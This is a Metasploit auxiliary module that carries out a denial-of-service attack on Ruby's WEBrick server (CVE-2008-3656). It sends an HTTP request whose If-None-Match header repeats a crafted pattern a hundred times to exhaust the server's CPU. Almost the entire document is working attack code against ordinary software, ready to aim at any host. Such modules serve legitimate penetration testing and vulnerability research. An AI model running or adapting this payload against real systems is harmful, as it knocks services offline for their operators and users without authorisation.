Ruby WEBrick::HTTP::DefaultFileHandler DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
      'Description'    => %q{
        The WEBrick::HTTP::DefaultFileHandler in WEBrick in
        Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
        to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
        (CPU consumption) via a crafted HTTP request.
      },
      'Author'         => 'kris katterjohn',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'BID', '30644'],
        [ 'CVE', '2008-3656'],
        [ 'OSVDB', '47471' ],
        [ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
      ],
      'DisclosureDate' => '2008-08-08'))

    register_options([
      OptString.new('URI', [ true, 'URI to request', '/' ])
    ])
  end

  def run
    begin
      o = {
        'uri' => normalize_uri(datastore['URI']),
        'headers' => {
          'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
        }
      }

      c = connect(o)
      c.send_request(c.request_raw(o))

      print_status("Request sent to #{rhost}:#{rport}")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Couldn't connect to #{rhost}:#{rport}")
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end